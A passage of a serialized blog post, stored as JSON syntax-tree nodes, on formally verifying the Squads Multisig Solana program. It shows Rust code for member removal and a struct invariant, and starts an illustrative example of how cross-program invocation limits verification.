rops":27946,"children":27947},{"style":211},[27948],{"type":27,"value":1470},{"type":21,"tag":198,"props":27950,"children":27951},{"class":200,"line":236},[27952],{"type":21,"tag":198,"props":27953,"children":27954},{"style":211},[27955],{"type":27,"value":1120},{"type":21,"tag":198,"props":27957,"children":27958},{"class":200,"line":260},[27959,27963,27967,27971,27975,27979,27983,27987,27991,27995,27999,28003],{"type":21,"tag":198,"props":27960,"children":27961},{"style":226},[27962],{"type":27,"value":21075},{"type":21,"tag":198,"props":27964,"children":27965},{"style":683},[27966],{"type":27,"value":658},{"type":21,"tag":198,"props":27968,"children":27969},{"style":211},[27970],{"type":27,"value":15480},{"type":21,"tag":198,"props":27972,"children":27973},{"style":683},[27974],{"type":27,"value":658},{"type":21,"tag":198,"props":27976,"children":27977},{"style":211},[27978],{"type":27,"value":24609},{"type":21,"tag":198,"props":27980,"children":27981},{"style":683},[27982],{"type":27,"value":658},{"type":21,"tag":198,"props":27984,"children":27985},{"style":698},[27986],{"type":27,"value":26271},{"type":21,"tag":198,"props":27988,"children":27989},{"style":211},[27990],{"type":27,"value":706},{"type":21,"tag":198,"props":27992,"children":27993},{"style":226},[27994],{"type":27,"value":26603},{"type":21,"tag":198,"props":27996,"children":27997},{"style":211},[27998],{"type":27,"value":2109},{"type":21,"tag":198,"props":28000,"children":28001},{"style":683},[28002],{"type":27,"value":2156},{"type":21,"tag":198,"props":28004,"children":28005},{"style":211},[28006],{"type":27,"value":1483},{"type":21,"tag":30,"props":28008,"children":28009},{},[28010,28012,28018,28020,28026],{"type":27,"value":28011},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":21,"tag":194,"props":28013,"children":28015},{"className":28014},[],[28016],{"type":27,"value":28017},"Ms::is_member",{"type":27,"value":28019},") and if it is not, it simply skips the removal and returns ",{"type":21,"tag":194,"props":28021,"children":28023},{"className":28022},[],[28024],{"type":27,"value":28025},"Ok(())",{"type":27,"value":658},{"type":21,"tag":187,"props":28028,"children":28030},{"code":28029,"language":3788,"meta":7,"className":3789,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n if let Some(ind) = self.is_member(member) {\n self.keys.remove(ind);\n if self.keys.len() \u003C usize::from(self.threshold) {\n self.threshold = self.keys.len().try_into().unwrap();\n }\n }\n Ok(())\n}\n",[28031],{"type":21,"tag":194,"props":28032,"children":28033},{"__ignoreMap":7},[28034,28098,28157,28194,28253,28321,28328,28335,28346],{"type":21,"tag":198,"props":28035,"children":28036},{"class":200,"line":201},[28037,28041,28045,28049,28053,28057,28061,28065,28069,28074,28078,28082,28086,28090,28094],{"type":21,"tag":198,"props":28038,"children":28039},{"style":249},[28040],{"type":27,"value":14497},{"type":21,"tag":198,"props":28042,"children":28043},{"style":249},[28044],{"type":27,"value":14502},{"type":21,"tag":198,"props":28046,"children":28047},{"style":698},[28048],{"type":27,"value":26569},{"type":21,"tag":198,"props":28050,"children":28051},{"style":211},[28052],{"type":27,"value":706},{"type":21,"tag":198,"props":28054,"children":28055},{"style":683},[28056],{"type":27,"value":3917},{"type":21,"tag":198,"props":28058,"children":28059},{"style":249},[28060],{"type":27,"value":4530},{"type":21,"tag":198,"props":28062,"children":28063},{"style":249},[28064],{"type":27,"value":14604},{"type":21,"tag":198,"props":28066,"children":28067},{"style":211},[28068],{"type":27,"value":828},{"type":21,"tag":198,"props":28070,"children":28071},{"style":226},[28072],{"type":27,"value":28073},"member",{"type":21,"tag":198,"props":28075,"children":28076},{"style":683},[28077],{"type":27,"value":185},{"type":21,"tag":198,"props":28079,"children":28080},{"style":1966},[28081],{"type":27,"value":21650},{"type":21,"tag":198,"props":28083,"children":28084},{"style":211},[28085],{"type":27,"value":1541},{"type":21,"tag":198,"props":28087,"children":28088},{"style":683},[28089],{"type":27,"value":14564},{"type":21,"tag":198,"props":28091,"children":28092},{"style":1966},[28093],{"type":27,"value":14569},{"type":21,"tag":198,"props":28095,"children":28096},{"style":211},[28097],{"type":27,"value":21126},{"type":21,"tag":198,"props":28099,"children":28100},{"class":200,"line":217},[28101,28105,28110,28115,28119,28124,28128,28132,28136,28140,28145,28149,28153],{"type":21,"tag":198,"props":28102,"children":28103},{"style":640},[28104],{"type":27,"value":643},{"type":21,"tag":198,"props":28106,"children":28107},{"style":249},[28108],{"type":27,"value":28109}," let",{"type":21,"tag":198,"props":28111,"children":28112},{"style":1966},[28113],{"type":27,"value":28114}," Some",{"type":21,"tag":198,"props":28116,"children":28117},{"style":211},[28118],{"type":27,"value":706},{"type":21,"tag":198,"props":28120,"children":28121},{"style":226},[28122],{"type":27,"value":28123},"ind",{"type":21,"tag":198,"props":28125,"children":28126},{"style":211},[28127],{"type":27,"value":1541},{"type":21,"tag":198,"props":28129,"children":28130},{"style":683},[28131],{"type":27,"value":3174},{"type":21,"tag":198,"props":28133,"children":28134},{"style":249},[28135],{"type":27,"value":14604},{"type":21,"tag":198,"props":28137,"children":28138},{"style":683},[28139],{"type":27,"value":658},{"type":21,"tag":198,"props":28141,"children":28142},{"style":698},[28143],{"type":27,"value":28144},"is_member",{"type":21,"tag":198,"props":28146,"children":28147},{"style":211},[28148],{"type":27,"value":706},{"type":21,"tag":198,"props":28150,"children":28151},{"style":226},[28152],{"type":27,"value":28073},{"type":21,"tag":198,"props":28154,"children":28155},{"style":211},[28156],{"type":27,"value":668},{"type":21,"tag":198,"props":28158,"children":28159},{"class":200,"line":236},[28160,28165,28169,28173,28177,28182,28186,28190],{"type":21,"tag":198,"props":28161,"children":28162},{"style":249},[28163],{"type":27,"value":28164}," self",{"type":21,"tag":198,"props":28166,"children":28167},{"style":683},[28168],{"type":27,"value":658},{"type":21,"tag":198,"props":28170,"children":28171},{"style":211},[28172],{"type":27,"value":21776},{"type":21,"tag":198,"props":28174,"children":28175},{"style":683},[28176],{"type":27,"value":658},{"type":21,"tag":198,"props":28178,"children":28179},{"style":698},[28180],{"type":27,"value":28181},"remove",{"type":21,"tag":198,"props":28183,"children":28184},{"style":211},[28185],{"type":27,"value":706},{"type":21,"tag":198,"props":28187,"children":28188},{"style":226},[28189],{"type":27,"value":28123},{"type":21,"tag":198,"props":28191,"children":28192},{"style":211},[28193],{"type":27,"value":1470},{"type":21,"tag":198,"props":28195,"children":28196},{"class":200,"line":260},[28197,28201,28205,28209,28213,28217,28221,28225,28229,28233,28237,28241,28245,28249],{"type":21,"tag":198,"props":28198,"children":28199},{"style":640},[28200],{"type":27,"value":4079},{"type":21,"tag":198,"props":28202,"children":28203},{"style":249},[28204],{"type":27,"value":14604},{"type":21,"tag":198,"props":28206,"children":28207},{"style":683},[28208],{"type":27,"value":658},{"type":21,"tag":198,"props":28210,"children":28211},{"style":211},[28212],{"type":27,"value":21776},{"type":21,"tag":198,"props":28214,"children":28215},{"style":683},[28216],{"type":27,"value":658},{"type":21,"tag":198,"props":28218,"children":28219},{"style":698},[28220],{"type":27,"value":9950},{"type":21,"tag":198,"props":28222,"children":28223},{"style":211},[28224],{"type":27,"value":26848},{"type":21,"tag":198,"props":28226,"children":28227},{"style":1966},[28228],{"type":27,"value":17404},{"type":21,"tag":198,"props":28230,"children":28231},{"style":683},[28232],{"type":27,"value":4286},{"type":21,"tag":198,"props":28234,"children":28235},{"style":698},[28236],{"type":27,"value":20268},{"type":21,"tag":198,"props":28238,"children":28239},{"style":211},[28240],{"type":27,"value":706},{"type":21,"tag":198,"props":28242,"children":28243},{"style":249},[28244],{"type":27,"value":14520},{"type":21,"tag":198,"props":28246,"children":28247},{"style":683},[28248],{"type":27,"value":658},{"type":21,"tag":198,"props":28250,"children":28251},{"style":211},[28252],{"type":27,"value":26893},{"type":21,"tag":198,"props":28254,"children":28255},{"class":200,"line":281},[28256,28261,28265,28269,28273,28277,28281,28285,28289,28293,28297,28301,28305,28309,28313,28317],{"type":21,"tag":198,"props":28257,"children":28258},{"style":249},[28259],{"type":27,"value":28260}," self",{"type":21,"tag":198,"props":28262,"children":28263},{"style":683},[28264],{"type":27,"value":658},{"type":21,"tag":198,"props":28266,"children":28267},{"style":211},[28268],{"type":27,"value":21864},{"type":21,"tag":198,"props":28270,"children":28271},{"style":683},[28272],{"type":27,"value":3174},{"type":21,"tag":198,"props":28274,"children":28275},{"style":249},[28276],{"type":27,"value":14604},{"type":21,"tag":198,"props":28278,"children":28279},{"style":683},[28280],{"type":27,"value":658},{"type":21,"tag":198,"props":28282,"children":28283},{"style":211},[28284],{"type":27,"value":21776},{"type":21,"tag":198,"props":28286,"children":28287},{"style":683},[28288],{"type":27,"value":658},{"type":21,"tag":198,"props":28290,"children":28291},{"style":698},[28292],{"type":27,"value":9950},{"type":21,"tag":198,"props":28294,"children":28295},{"style":211},[28296],{"type":27,"value":14686},{"type":21,"tag":198,"props":28298,"children":28299},{"style":683},[28300],{"type":27,"value":658},{"type":21,"tag":198,"props":28302,"children":28303},{"style":698},[28304],{"type":27,"value":26966},{"type":21,"tag":198,"props":28306,"children":28307},{"style":211},[28308],{"type":27,"value":14686},{"type":21,"tag":198,"props":28310,"children":28311},{"style":683},[28312],{"type":27,"value":658},{"type":21,"tag":198,"props":28314,"children":28315},{"style":698},[28316],{"type":27,"value":4470},{"type":21,"tag":198,"props":28318,"children":28319},{"style":211},[28320],{"type":27,"value":3404},{"type":21,"tag":198,"props":28322,"children":28323},{"class":200,"line":302},[28324],{"type":21,"tag":198,"props":28325,"children":28326},{"style":211},[28327],{"type":27,"value":1160},{"type":21,"tag":198,"props":28329,"children":28330},{"class":200,"line":323},[28331],{"type":21,"tag":198,"props":28332,"children":28333},{"style":211},[28334],{"type":27,"value":880},{"type":21,"tag":198,"props":28336,"children":28337},{"class":200,"line":344},[28338,28342],{"type":21,"tag":198,"props":28339,"children":28340},{"style":1966},[28341],{"type":27,"value":15138},{"type":21,"tag":198,"props":28343,"children":28344},{"style":211},[28345],{"type":27,"value":15143},{"type":21,"tag":198,"props":28347,"children":28348},{"class":200,"line":365},[28349],{"type":21,"tag":198,"props":28350,"children":28351},{"style":211},[28352],{"type":27,"value":1120},{"type":21,"tag":30,"props":28354,"children":28355},{},[28356,28358,28363,28365,28371,28373,28379,28381,28386],{"type":27,"value":28357},"Inside ",{"type":21,"tag":194,"props":28359,"children":28361},{"className":28360},[],[28362],{"type":27,"value":28017},{"type":27,"value":28364},", we see that it performs a ",{"type":21,"tag":194,"props":28366,"children":28368},{"className":28367},[],[28369],{"type":27,"value":28370},"binary_search",{"type":27,"value":28372}," on the keys vec and returns the index or ",{"type":21,"tag":194,"props":28374,"children":28376},{"className":28375},[],[28377],{"type":27,"value":28378},"None",{"type":27,"value":28380},". Since the vec has size zero, this will just return ",{"type":21,"tag":194,"props":28382,"children":28384},{"className":28383},[],[28385],{"type":27,"value":28378},{"type":27,"value":658},{"type":21,"tag":187,"props":28388,"children":28390},{"code":28389,"language":3788,"meta":7,"className":3789,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n match self.keys.binary_search(&member) {\n Ok(ind) => Some(ind),\n _ => None,\n }\n}\n",[28391],{"type":21,"tag":194,"props":28392,"children":28393},{"__ignoreMap":7},[28394,28463,28506,28545,28566,28573],{"type":21,"tag":198,"props":28395,"children":28396},{"class":200,"line":201},[28397,28401,28405,28410,28414,28418,28422,28426,28430,28434,28438,28442,28446,28451,28455,28459],{"type":21,"tag":198,"props":28398,"children":28399},{"style":249},[28400],{"type":27,"value":14497},{"type":21,"tag":198,"props":28402,"children":28403},{"style":249},[28404],{"type":27,"value":14502},{"type":21,"tag":198,"props":28406,"children":28407},{"style":698},[28408],{"type":27,"value":28409}," is_member",{"type":21,"tag":198,"props":28411,"children":28412},{"style":211},[28413],{"type":27,"value":706},{"type":21,"tag":198,"props":28415,"children":28416},{"style":683},[28417],{"type":27,"value":3917},{"type":21,"tag":198,"props":28419,"children":28420},{"style":249},[28421],{"type":27,"value":14520},{"type":21,"tag":198,"props":28423,"children":28424},{"style":211},[28425],{"type":27,"value":828},{"type":21,"tag":198,"props":28427,"children":28428},{"style":226},[28429],{"type":27,"value":28073},{"type":21,"tag":198,"props":28431,"children":28432},{"style":683},[28433],{"type":27,"value":185},{"type":21,"tag":198,"props":28435,"children":28436},{"style":1966},[28437],{"type":27,"value":21650},{"type":21,"tag":198,"props":28439,"children":28440},{"style":211},[28441],{"type":27,"value":1541},{"type":21,"tag":198,"props":28443,"children":28444},{"style":683},[28445],{"type":27,"value":14564},{"type":21,"tag":198,"props":28447,"children":28448},{"style":1966},[28449],{"type":27,"value":28450}," Option",{"type":21,"tag":198,"props":28452,"children":28453},{"style":211},[28454],{"type":27,"value":3159},{"type":21,"tag":198,"props":28456,"children":28457},{"style":1966},[28458],{"type":27,"value":17404},{"type":21,"tag":198,"props":28460,"children":28461},{"style":211},[28462],{"type":27,"value":8093},{"type":21,"tag":198,"props":28464,"children":28465},{"class":200,"line":217},[28466,28470,28474,28478,28482,28486,28490,28494,28498,28502],{"type":21,"tag":198,"props":28467,"children":28468},{"style":640},[28469],{"type":27,"value":15558},{"type":21,"tag":198,"props":28471,"children":28472},{"style":249},[28473],{"type":27,"value":14604},{"type":21,"tag":198,"props":28475,"children":28476},{"style":683},[28477],{"type":27,"value":658},{"type":21,"tag":198,"props":28479,"children":28480},{"style":211},[28481],{"type":27,"value":21776},{"type":21,"tag":198,"props":28483,"children":28484},{"style":683},[28485],{"type":27,"value":658},{"type":21,"tag":198,"props":28487,"children":28488},{"style":698},[28489],{"type":27,"value":28370},{"type":21,"tag":198,"props":28491,"children":28492},{"style":211},[28493],{"type":27,"value":706},{"type":21,"tag":198,"props":28495,"children":28496},{"style":683},[28497],{"type":27,"value":3917},{"type":21,"tag":198,"props":28499,"children":28500},{"style":226},[28501],{"type":27,"value":28073},{"type":21,"tag":198,"props":28503,"children":28504},{"style":211},[28505],{"type":27,"value":668},{"type":21,"tag":198,"props":28507,"children":28508},{"class":200,"line":236},[28509,28513,28517,28521,28525,28529,28533,28537,28541],{"type":21,"tag":198,"props":28510,"children":28511},{"style":1966},[28512],{"type":27,"value":15616},{"type":21,"tag":198,"props":28514,"children":28515},{"style":211},[28516],{"type":27,"value":706},{"type":21,"tag":198,"props":28518,"children":28519},{"style":226},[28520],{"type":27,"value":28123},{"type":21,"tag":198,"props":28522,"children":28523},{"style":211},[28524],{"type":27,"value":1541},{"type":21,"tag":198,"props":28526,"children":28527},{"style":683},[28528],{"type":27,"value":15626},{"type":21,"tag":198,"props":28530,"children":28531},{"style":1966},[28532],{"type":27,"value":28114},{"type":21,"tag":198,"props":28534,"children":28535},{"style":211},[28536],{"type":27,"value":706},{"type":21,"tag":198,"props":28538,"children":28539},{"style":226},[28540],{"type":27,"value":28123},{"type":21,"tag":198,"props":28542,"children":28543},{"style":211},[28544],{"type":27,"value":7548},{"type":21,"tag":198,"props":28546,"children":28547},{"class":200,"line":260},[28548,28553,28557,28562],{"type":21,"tag":198,"props":28549,"children":28550},{"style":226},[28551],{"type":27,"value":28552}," _",{"type":21,"tag":198,"props":28554,"children":28555},{"style":683},[28556],{"type":27,"value":838},{"type":21,"tag":198,"props":28558,"children":28559},{"style":1966},[28560],{"type":27,"value":28561}," None",{"type":21,"tag":198,"props":28563,"children":28564},{"style":211},[28565],{"type":27,"value":257},{"type":21,"tag":198,"props":28567,"children":28568},{"class":200,"line":281},[28569],{"type":21,"tag":198,"props":28570,"children":28571},{"style":211},[28572],{"type":27,"value":880},{"type":21,"tag":198,"props":28574,"children":28575},{"class":200,"line":302},[28576],{"type":21,"tag":198,"props":28577,"children":28578},{"style":211},[28579],{"type":27,"value":1120},{"type":21,"tag":30,"props":28581,"children":28582},{},[28583,28585,28590,28592,28597,28599,28604,28606,28611],{"type":27,"value":28584},"So interestingly, a ",{"type":21,"tag":194,"props":28586,"children":28588},{"className":28587},[],[28589],{"type":27,"value":21776},{"type":27,"value":28591}," vec of size 0 ",{"type":21,"tag":1671,"props":28593,"children":28594},{},[28595],{"type":27,"value":28596},"is actually",{"type":27,"value":28598}," a sufficient condition to execute ",{"type":21,"tag":194,"props":28600,"children":28602},{"className":28601},[],[28603],{"type":27,"value":26271},{"type":27,"value":28605},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":21,"tag":1671,"props":28607,"children":28608},{},[28609],{"type":27,"value":28610},"valid",{"type":27,"value":28612}," multisig, the number of keys should never be zero.",{"type":21,"tag":30,"props":28614,"children":28615},{},[28616,28618,28623],{"type":27,"value":28617},"We can represent this ",{"type":21,"tag":1671,"props":28619,"children":28620},{},[28621],{"type":27,"value":28622},"validity",{"type":27,"value":28624}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":21,"tag":187,"props":28626,"children":28628},{"code":28627,"language":3788,"meta":7,"className":3789,"style":7},"#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[28629],{"type":21,"tag":194,"props":28630,"children":28631},{"__ignoreMap":7},[28632,28639,28662,28713,28720],{"type":21,"tag":198,"props":28633,"children":28634},{"class":200,"line":201},[28635],{"type":21,"tag":198,"props":28636,"children":28637},{"style":211},[28638],{"type":27,"value":21571},{"type":21,"tag":198,"props":28640,"children":28641},{"class":200,"line":217},[28642,28646,28650,28654,28658],{"type":21,"tag":198,"props":28643,"children":28644},{"style":211},[28645],{"type":27,"value":25534},{"type":21,"tag":198,"props":28647,"children":28648},{"style":683},[28649],{"type":27,"value":658},{"type":21,"tag":198,"props":28651,"children":28652},{"style":211},[28653],{"type":27,"value":21864},{"type":21,"tag":198,"props":28655,"children":28656},{"style":683},[28657],{"type":27,"value":10753},{"type":21,"tag":198,"props":28659,"children":28660},{"style":211},[28661],{"type":27,"value":21873},{"type":21,"tag":198,"props":28663,"children":28664},{"class":200,"line":236},[28665,28669,28673,28677,28681,28685,28689,28693,28697,28701,28705,28709],{"type":21,"tag":198,"props":28666,"children":28667},{"style":683},[28668],{"type":27,"value":16424},{"type":21,"tag":198,"props":28670,"children":28671},{"style":211},[28672],{"type":27,"value":21797},{"type":21,"tag":198,"props":28674,"children":28675},{"style":683},[28676],{"type":27,"value":658},{"type":21,"tag":198,"props":28678,"children":28679},{"style":211},[28680],{"type":27,"value":21864},{"type":21,"tag":198,"props":28682,"children":28683},{"style":249},[28684],{"type":27,"value":9652},{"type":21,"tag":198,"props":28686,"children":28687},{"style":1966},[28688],{"type":27,"value":14538},{"type":21,"tag":198,"props":28690,"children":28691},{"style":683},[28692],{"type":27,"value":9007},{"type":21,"tag":198,"props":28694,"children":28695},{"style":211},[28696],{"type":27,"value":14604},{"type":21,"tag":198,"props":28698,"children":28699},{"style":683},[28700],{"type":27,"value":658},{"type":21,"tag":198,"props":28702,"children":28703},{"style":211},[28704],{"type":27,"value":21776},{"type":21,"tag":198,"props":28706,"children":28707},{"style":683},[28708],{"type":27,"value":658},{"type":21,"tag":198,"props":28710,"children":28711},{"style":211},[28712],{"type":27,"value":21925},{"type":21,"tag":198,"props":28714,"children":28715},{"class":200,"line":260},[28716],{"type":21,"tag":198,"props":28717,"children":28718},{"style":211},[28719],{"type":27,"value":21053},{"type":21,"tag":198,"props":28721,"children":28722},{"class":200,"line":281},[28723,28727,28731,28735,28739,28743],{"type":21,"tag":198,"props":28724,"children":28725},{"style":249},[28726],{"type":27,"value":14497},{"type":21,"tag":198,"props":28728,"children":28729},{"style":249},[28730],{"type":27,"value":21944},{"type":21,"tag":198,"props":28732,"children":28733},{"style":1966},[28734],{"type":27,"value":21949},{"type":21,"tag":198,"props":28736,"children":28737},{"style":211},[28738],{"type":27,"value":1891},{"type":21,"tag":198,"props":28740,"children":28741},{"style":683},[28742],{"type":27,"value":10402},{"type":21,"tag":198,"props":28744,"children":28745},{"style":211},[28746],{"type":27,"value":1909},{"type":21,"tag":30,"props":28748,"children":28749},{},[28750,28752,28758,28760,28766],{"type":27,"value":28751},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":21,"tag":194,"props":28753,"children":28755},{"className":28754},[],[28756],{"type":27,"value":28757},"keys.len() == 0",{"type":27,"value":28759}," and allows us to prove the biconditional ",{"type":21,"tag":194,"props":28761,"children":28763},{"className":28762},[],[28764],{"type":27,"value":28765},"(keys.len() >= 1) -> (instruction succeeds)",{"type":27,"value":658},{"type":21,"tag":59,"props":28768,"children":28770},{"id":28769},"safety-guarantees",[28771],{"type":27,"value":23578},{"type":21,"tag":30,"props":28773,"children":28774},{},[28775],{"type":27,"value":28776},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":21,"tag":30,"props":28778,"children":28779},{},[28780],{"type":27,"value":28781},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":21,"tag":30,"props":28783,"children":28784},{},[28785,28787,28793],{"type":27,"value":28786},"In the multisig program this happens in the ",{"type":21,"tag":194,"props":28788,"children":28790},{"className":28789},[],[28791],{"type":27,"value":28792},"execute_transaction",{"type":27,"value":28794}," instruction.",{"type":21,"tag":30,"props":28796,"children":28797},{},[28798],{"type":21,"tag":1671,"props":28799,"children":28800},{},[28801],{"type":27,"value":28802},"So what do you do?",{"type":21,"tag":30,"props":28804,"children":28805},{},[28806],{"type":27,"value":28807},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":21,"tag":187,"props":28809,"children":28811},{"code":28810,"language":3788,"meta":7,"className":3789,"style":7},"#[derive(Accounts)]\npub MyCtx {\n #[account(mut)]\n pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n pub bad: bool\n}\n\nimpl Acc {\n pub fn put_into_bad_state() {\n self.bad = true;\n }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n Ok(())\n}\n",[28812],{"type":21,"tag":194,"props":28813,"children":28814},{"__ignoreMap":7},[28815,28830,28846,28861,28902,28909,28916,28923,28940,28956,28977,28984,28991,29007,29027,29055,29062,29069,29076,29084,29137,29163,29170,29199,29223,29258,29265,29276],{"type":21,"tag":198,"props":28816,"children":28817},{"class":200,"line":201},[28818,28822,28826],{"type":21,"tag":198,"props":28819,"children":28820},{"style":211},[28821],{"type":27,"value":23631},{"type":21,"tag":198,"props":28823,"children":28824},{"style":1966},[28825],{"type":27,"value":23636},{"type":21,"tag":198,"props":28827,"children":28828},{"style":211},[28829],{"type":27,"value":21053},{"type":21,"tag":198,"props":28831,"children":28832},{"class":200,"line":217},[28833,28837,28842],{"type":21,"tag":198,"props":28834,"children":28835},{"style":249},[28836],{"type":27,"value":14497},{"type":21,"tag":198,"props":28838,"children":28839},{"style":1966},[28840],{"type":27,"value":28841}," MyCtx",{"type":21,"tag":198,"props":28843,"children":28844},{"style":211},[28845],{"type":27,"value":233},{"type":21,"tag":198,"props":28847,"children":28848},{"class":200,"line":236},[28849,28853,28857],{"type":21,"tag":198,"props":28850,"children":28851},{"style":211},[28852],{"type":27,"value":23922},{"type":21,"tag":198,"props":28854,"children":28855},{"style":249},[28856],{"type":27,"value":4530},{"type":21,"tag":198,"props":28858,"children":28859},{"style":211},[28860],{"type":27,"value":21053},{"type":21,"tag":198,"props":28862,"children":28863},{"class":200,"line":260},[28864,28868,28873,28877,28881,28885,28889,28893,28898],{"type":21,"tag":198,"props":28865,"children":28866},{"style":249},[28867],{"type":27,"value":21636},{"type":21,"tag":198,"props":28869,"children":28870},{"style":226},[28871],{"type":27,"value":28872}," my_account",{"type":21,"tag":198,"props":28874,"children":28875},{"style":683},[28876],{"type":27,"value":185},{"type":21,"tag":198,"props":28878,"children":28879},{"style":1966},[28880],{"type":27,"value":23887},{"type":21,"tag":198,"props":28882,"children":28883},{"style":211},[28884],{"type":27,"value":23716},{"type":21,"tag":198,"props":28886,"children":28887},{"style":1966},[28888],{"type":27,"value":23721},{"type":21,"tag":198,"props":28890,"children":28891},{"style":211},[28892],{"type":27,"value":828},{"type":21,"tag":198,"props":28894,"children":28895},{"style":1966},[28896],{"type":27,"value":28897},"Acc",{"type":21,"tag":198,"props":28899,"children":28900},{"style":211},[28901],{"type":27,"value":3203},{"type":21,"tag":198,"props":28903,"children":28904},{"class":200,"line":281},[28905],{"type":21,"tag":198,"props":28906,"children":28907},{"style":211},[28908],{"type":27,"value":1120},{"type":21,"tag":198,"props":28910,"children":28911},{"class":200,"line":302},[28912],{"type":21,"tag":198,"props":28913,"children":28914},{"emptyLinePlaceholder":16},[28915],{"type":27,"value":1283},{"type":21,"tag":198,"props":28917,"children":28918},{"class":200,"line":323},[28919],{"type":21,"tag":198,"props":28920,"children":28921},{"style":211},[28922],{"type":27,"value":21563},{"type":21,"tag":198,"props":28924,"children":28925},{"class":200,"line":344},[28926,28931,28935],{"type":21,"tag":198,"props":28927,"children":28928},{"style":211},[28929],{"type":27,"value":28930},"#[invariant(bad ",{"type":21,"tag":198,"props":28932,"children":28933},{"style":683},[28934],{"type":27,"value":9386},{"type":21,"tag":198,"props":28936,"children":28937},{"style":211},[28938],{"type":27,"value":28939}," false)]\n",{"type":21,"tag":198,"props":28941,"children":28942},{"class":200,"line":365},[28943,28947,28952],{"type":21,"tag":198,"props":28944,"children":28945},{"style":249},[28946],{"type":27,"value":10213},{"type":21,"tag":198,"props":28948,"children":28949},{"style":1966},[28950],{"type":27,"value":28951}," Acc",{"type":21,"tag":198,"props":28953,"children":28954},{"style":211},[28955],{"type":27,"value":233},{"type":21,"tag":198,"props":28957,"children":28958},{"class":200,"line":386},[28959,28963,28968,28972],{"type":21,"tag":198,"props":28960,"children":28961},{"style":249},[28962],{"type":27,"value":21636},{"type":21,"tag":198,"props":28964,"children":28965},{"style":226},[28966],{"type":27,"value":28967}," bad",{"type":21,"tag":198,"props":28969,"children":28970},{"style":683},[28971],{"type":27,"value":185},{"type":21,"tag":198,"props":28973,"children":28974},{"style":1966},[28975],{"type":27,"value":28976}," bool\n",{"type":21,"tag":198,"props":28978,"children":28979},{"class":200,"line":408},[28980],{"type":21,"tag":198,"props":28981,"children":28982},{"style":211},[28983],{"type":27,"value":1120},{"type":21,"tag":198,"props":28985,"children":28986},{"class":200,"line":429},[28987],{"type":21,"tag":198,"props":28988,"children":28989},{"emptyLinePlaceholder":16},[28990],{"type":27,"value":1283},{"type":21,"tag":198,"props":28992,"children":28993},{"class":200,"line":450},[28994,28999,29003],{"type":21,"tag":198,"props":28995,"children":28996},{"style":249},[28997],{"type":27,"value":28998},"impl",{"type":21,"tag":198,"props":29000,"children":29001},{"style":1966},[29002],{"type":27,"value":28951},{"type":21,"tag":198,"props":29004,"children":29005},{"style":211},[29006],{"type":27,"value":233},{"type":21,"tag":198,"props":29008,"children":29009},{"class":200,"line":468},[29010,29014,29018,29023],{"type":21,"tag":198,"props":29011,"children":29012},{"style":249},[29013],{"type":27,"value":21636},{"type":21,"tag":198,"props":29015,"children":29016},{"style":249},[29017],{"type":27,"value":14502},{"type":21,"tag":198,"props":29019,"children":29020},{"style":698},[29021],{"type":27,"value":29022}," put_into_bad_state",{"type":21,"tag":198,"props":29024,"children":29025},{"style":211},[29026],{"type":27,"value":16539},{"type":21,"tag":198,"props":29028,"children":29029},{"class":200,"line":477},[29030,29034,29038,29043,29047,29051],{"type":21,"tag":198,"props":29031,"children":29032},{"style":249},[29033],{"type":27,"value":28164},{"type":21,"tag":198,"props":29035,"children":29036},{"style":683},[29037],{"type":27,"value":658},{"type":21,"tag":198,"props":29039,"children":29040},{"style":211},[29041],{"type":27,"value":29042},"bad ",{"type":21,"tag":198,"props":29044,"children":29045},{"style":683},[29046],{"type":27,"value":3174},{"type":21,"tag":198,"props":29048,"children":29049},{"style":249},[29050],{"type":27,"value":252},{"type":21,"tag":198,"props":29052,"children":29053},{"style":211},[29054],{"type":27,"value":1483},{"type":21,"tag":198,"props":29056,"children":29057},{"class":200,"line":494},[29058],{"type":21,"tag":198,"props":29059,"children":29060},{"style":211},[29061],{"type":27,"value":880},{"type":21,"tag":198,"props":29063,"children":29064},{"class":200,"line":515},[29065],{"type":21,"tag":198,"props":29066,"children":29067},{"style":211},[29068],{"type":27,"value":1120},{"type":21,"tag":198,"props":29070,"children":29071},{"class":200,"line":4484},[29072],{"type":21,"tag":198,"props":29073,"children":29074},{"emptyLinePlaceholder":16},[29075],{"type":27,"value":1283},{"type":21,"tag":198,"props":29077,"children":29078},{"class":200,"line":4493},[29079],{"type":21,"tag":198,"props":29080,"children":29081},{"style":1233},[29082],{"type":27,"value":29083},"// Instruction handler:\n",{"type":21,"tag":198,"props":29085,"children":29086},{"class":200,"line":4561},[29087,29091,29096,29100,29104,29108,29112,29116,29121,29125,29129,29133],{"type":21,"tag":198,"props":29088,"children":29089},{"style":249},[29090],{"type":27,"value":21061},{"type":21,"tag":198,"props":29092,"children":29093},{"style":698},[29094],{"type":27,"value":29095}," 